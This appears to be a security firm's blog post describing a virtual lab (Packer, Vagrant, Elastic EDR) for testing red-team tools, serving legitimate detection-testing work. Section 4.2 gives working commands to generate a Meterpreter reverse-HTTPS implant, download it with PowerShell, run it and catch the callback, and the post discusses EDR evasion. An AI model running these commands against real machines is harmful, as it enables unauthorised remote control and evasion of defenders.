Offensive tools (pentest / redteam) : example of infrastructure implementation

1 Introduction

The offensive world in the Microsoft universe requires a large arsenal of tools to accomplish the various tasks of offensive operators. Numerous vulnerabilities are discovered every week. And for each one, tools are released to facilitate exploitation. To counter all these attacks, the defensive teams implement security solutions to correct or detect them.

As offensive and slope operators, it is therefore necessary to test these publicly available tools or develop them in-house before deploying them on customer infrastructures with the aim of carrying out pentests or Red Team operations.

To do this, they will first read the source code to understand how the tool works in general. Next, operators will test the tools in a test environment with security solutions to observe the various alerts that come back following the triggering of these tools. With these alerts, operators will be able to make modifications to the various tools to override the defensive solutions.

In the context of this blog, the elements analyzed will focus on the endpoint part, with the artifacts that can be left on user workstations and servers. The network part will not be discussed here.

2. Presentation of technological bricks

The test environment is completely virtualized to facilitate deployment on the machines of each operator in the offensive team. In addition, the following automation solutions are used to simplify set-up:

• Packer
• Vagrant
• Docker
• Elastic-container

The sequence of these technologies is as follows:

Order of technology bricks used to deploy pentest tools / redteam](/blog/img/2022-11-25_01-outils-pentest-briques-technologiques.png)

2.1 Packer

Firstly, Packer¹ is used to create pre-configured virtual machine images. These images are created from a file in ISO format; in our case, a Ubuntu Server 20.04 LTS² image and a Windows 10³ image. The previous reference gives a tip for downloading a Windows 10 image via the browser, as only Windows 11 images are available for direct download.

Next, templates are needed to create the images. The two basic templates selected are available on GitHub and the VirtualBox profiles are those that will be used later:

• Ubuntu Template⁴
• Windows Template⁵

The template is in JSON format, and other files complete the installation with various scripts (.bat, .ps1, .sh, ...) to install the elements needed to run the machines in the lab.

The skeleton of a Packer template takes the following form:

{
    "builders": [
            {...}
    ],
    "provisioners": [
            {...}
    ],
    "post-processors": [
            {...}
    ],
    "variables": {
            ...
    }
}

The skeleton above is the one used to build the 2 machines in this project, but it can take other forms⁶ with different keys. Each of these keys has a specific function, which is :

• builders⁷: list of elements used by the packer command to start building the VM.
• provisioners⁸: contains elements for configuring the VM with commands and scripts to be used.
• post-processors**⁹: defines the steps performed after VM creation has been completed. In our case, creation of an image in .box format for use with Vagrant.
• variables¹⁰: defines variables used within the template.

For example, the following script was used to install docker on the Ubuntu_Elastic server image:

#!/bin/bash -eu

echo "==> Docker installation"

apt-get -y install --no-install-recommends install ca-certificates curl  lsb-release

apt-get -y update
apt-get -y install --no-install-recommends gnupg

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

apt-get -y update
apt-get -y install --no-install-recommends docker-ce docker-ce-cli containerd.io  docker-compose docker-compose-plugin

sudo groupadd docker
sudo usermod -aG docker vagrant

sudo chown vagrant:vagrant /opt
cd /opt
git clone https://github.com/peasead/elastic-container

2.2 Vagrant

After generating the images with packer, two box format files are available. They are designed to work with the Vagrant¹¹ tool, which lets you build and manage virtual machines automatically.

In addition, using the Vagrantfile¹², you can launch virtual machines directly in Virtual Box. The Vagrantfile looks like this:

Vagrant.configure("2") do |config|
    boxes = [
        { :name => "<Nom machine Linux>", :ip => "192.168.56.50", :box => "<Localisation du fichier .box>", :os => "linux",
            :forwarded_port => [
                {:guest => 22, :host => 2222, :id => "ssh"}
          ]
        },
        { :name => "<Nom machine Windows>", :ip => "192.168.56.10", :box => "<Localisation du fichier .box>", :os => "windows",
            :forwarded_port => [
                {:guest => 3389, :host => 33389, :id => "msrdp"},
                {:guest => 5985, :host => 55985, :id => "winrm"}
            ]
        }
    ]

    config.vm.provider "virtualbox" do |v|
        v.memory = 2048
        v.cpus = 1
    end

    config.vm.boot_timeout = 600
    config.vm.graceful_halt_timeout = 600
    config.winrm.retry_limit = 30
    config.winrm.retry_delay = 10

    boxes.each do |box|
        config.vm.define box[:name] do |target|
            target.vm.box = box[:box]
            if box.has_key?(:box_version)
                target.vm.box_version = box[:box_version]
            end

            target.vm.network :private_network, ip: box[:ip]

            if box.has_key?(:forwarded_port)
                box[:forwarded_port] do |forwarded_port|
                    target.vm.network :forwarded_port, guest: forwarded_port[:guest], host: forwarded_port[:host], id: forwarded_port[:id]

                end
            end
        end
    end
end

The :name and :box parameters when defining the boxes variable must be modified to specify the name of the virtual machine and the location of the .box file on the workstation.

2.3 Docker & elastic-container

Docker¹³ is a technology that enables services to be containerized for easier deployment. What's more, each container is autonomous and can manage its own dependencies. A Dockerfile¹⁴ is used to define the characteristics of a container to automate its construction.

Docker-compose¹⁵ is an additional solution for managing multiple containers at the same time. The docker-compose.yml file defines the characteristics of each Docker container to be used. In our case, the ElasticSearch, Kibana and Elastic-Agent containers will be used.

When the UbuntuELK VM was created, the elastic-container¹⁶ GitHub directory was added via the docker installation script. This project automates the implementation of an Elastic Security platform¹⁷ with containers using Docker technology. Using this solution enables the solution to be set up quickly, and takes care of dependency management for each component of the Elastic stack.

On the other hand, the elastic-container project takes care of assembling the various components for security options. This makes it easy to use the EDR¹⁸ solution (Endpoint Detection and Response) which is available free of charge following Elastic's acquisition of EndGame¹⁹ in 2019.

3. Setting up the infrastructure

The aim of this section is to set up the following environment, consisting of two virtual machines:

3.1 Creating VMs

Once the packer templates have been obtained for both VMs, generation can begin. The first machine will be the Ubuntu_Elastic VM, which can be initiated with the following command:

PS> packer build ubuntu.json

An identical command is then used to mount the Windows_10_Elastic VM. However, if updates are taken into account in the JSON configuration file, creation may take more than an hour:

PS> packer build windows10.json

Both machines can now be deployed with **Vagrant** and the following command with the **Vagrantfile** file in the same folder:

PS> vagrant.exe up

Deploying ubuntu and windows 10 virtual machines](/blog/img/2022-11-25_08-deploying-2-virtual-machines-ubuntu-and-windows.png)

3.2 Installing the Elastic Suite

For the installation of the Elastic stack, an article has recently been published on the Elastic website²⁰ explaining simply how to install it. All instructions are given in this article. Recently, Ippsec presented a way of installing the Elastic suite without using docker. The video is available on youtube.

4. Offensive tool testing

4.1 - Explanation: C2 and Implant

Command and Control (C2) solutions are often used as part of red team operations or by groups of attackers²¹. They enable compromised workstations to be grouped together under a single interface and interact with them to send commands.

The C2 consists of a server, the heart of the solution. In most cases, it is used to generate implants/agents. These are programs designed to interact with different operating systems (Windows, Linux or MacOS) to perform more or less malicious actions.

The simplest ones will contain commands to perform a basic enumeration on a system, for example, to check the presence or absence of an Anti-Virus or EDR. They can also be associated with the operation of a Reverse Shell.

The more advanced will be able to embed more substantial tools or commands to perform elevation of privileges or post-exploitation actions on an Active Directory.

Once these implants have been deployed on the various targets, they communicate with the C2 via various communications protocols: HTTP, HTTPS, DNS, etc. The operators can then issue commands to one or more of these implants via an interface connected to the server. Operators can then issue commands to one or more of these implants via an interface connected to the server, which can take various forms:

• command line,
• via a fat client,
• via a web interface.

The project The C2 Matrix²² brings together most of these publicly available solutions in a google sheet²³. As of August 13, 2022, it includes 103 different solutions. Amongst these, there are paid solutions:

• HelpSystem's Cobalt Strike²⁴ (originally developed by Raphael Mudge),
• Brute Ratel (BRC4)²⁵ from @NinjaParanoid²⁶,
• MDSec's NightHawk²⁷²⁸.

But it also lists free solutions such as :

• Sliver[2]9 by @Moloch²⁹,
• Covenant³⁰ from @Cobbr³¹,
• Metasploit Framework**³² from Rapid 7³³.

For each of these solutions, the implant may have a different name:

• Beacon** for Cobalt Strike
• Badger** for Brute Ratel
• Implant** for NightHawk
• Implant** Beacon for Sliver
• Grunt** for Covenant
• Meterpreter** for Metasploit Framework

If these implants undergo few modifications from there by attackers, their names can betray them and thus make it possible to detect the C2 behind them. This will make the investigation easier for analysts, and enable them to dissect in greater detail the various mechanisms used to exploit victims' workstations. What's more, they will be able to trace the C2 infrastructure if it is not well hidden.

However, some of these solutions feature obfuscation mechanisms that allow operators to modify the code and default behavior of these executables. For example, Cobalt Strike's Artefact Kit³⁴ allows the creation of specific loads for anti-virus evasion. For network traffic, Malleable C2³⁵ profiles are used to define how communications will take place between the beacon and the control server.

For this project, the Metasploit Framework solution will be used with a Meterpreter agent³⁶. This solution is simple to implement and offers a wide range of functions. However, it should be noted that it is not known to most security solutions. You'll need to invest a certain amount of research time to get implants that raise as few alarms as possible. This doesn't stop attacker groups from using it, as shown by the recent article by Cybereason³⁷ featuring the BumbleBee actor.

4.2 - Meterpreter implant test

The Elastic instance is ready and the Elastic agent reports on the state of the Windows_10_Elastic machine. To check the solution's detection capabilities, a Meterpreter implant will be installed. The test infrastructure takes the following form, with the addition of the attacker's machine:

infrastructure de test implant meterpreter](/blog/img/2022-11-25_09-test-implant-meterpreter-dans-vm-windows.png)

On the attacker's machine, msfconsole³⁸ is launched to create a handler which will receive the connection from the Meterpreter implant:

Bash> msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.1.29; set LPORT 9001; set exitfunc thread; exploit -j"

Next, the Meterpreter implant is generated with msfvenom³⁹ :

Bash> msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.29 LPORT=9001 EXITFUNC=thread -f exe -o test.exe

The implant is downloaded to the Windows machine with a PowerShell command (iwr: Invoke-WebRequest)⁴⁰ then executed directly :

PS> iwr http://192.168.1.29/test.exe -OutFile test.exe
PS> .\test.exe

Running the implant on the Windows machine creates a session which is available on the MSF handler:

login via implant on MSF handler](/blog/img/2022-11-25_13-ouverture-session-via-implant-sur-machine-infectee.png)

<![endif]-->

With this session on the machine, an attacker can execute commands directly on the machine. During a pentest, for example, we can enter a command prompt with the shell⁴¹ command from Meterpreter, then search for local users with the net user command.

This command is used by attackers during the discovery phase when they have gained access to a victim's machine. This action corresponds to the "T1087-001 Account Discovery : Local Account"⁴² sub-technique of the ATT&CK matrix of the MITRE.

In the alert section on the Elastic instance, we are able to see the actions that have been performed since the Meterpreter implant.

Conclusion

With this platform in place, it is now possible to test the execution of offensive tools and see certain traces left on the system. However, it should be noted that the agent installed on the Windows VM has not benefited from any additional configuration. In addition, other elements can be added to the Windows Virtual Machine to enhance detection capabilities.

Automatic tools like Sysmon⁴³ with a configuration like sysmon-modular⁴⁴ are suggested by Olaf Hartong⁴⁵. The use of other EDR solutions can also complement this information. In this project, automation was used extensively, but tools such as Process Hacker⁴⁶ for process analysis or PE-Sieve⁴⁷ and Moneta⁴⁸ for file and process analysis in search of malicious content provide additional data.

Events Tracing for Windows⁵⁰ (ETW) is another source of artifacts to explore to see the actions of executables on the machine. In particular, Event Tracing for Windows Threat Intelligence offers the ability to see manipulation on elements such as memory, processes, threads or driver-generated events. The final step is to develop an in-house EDR to understand the above-mentioned detection mechanisms, so as to bypass them more easily. Take the example of mez0⁵¹ with its fennec**⁴⁹ tool.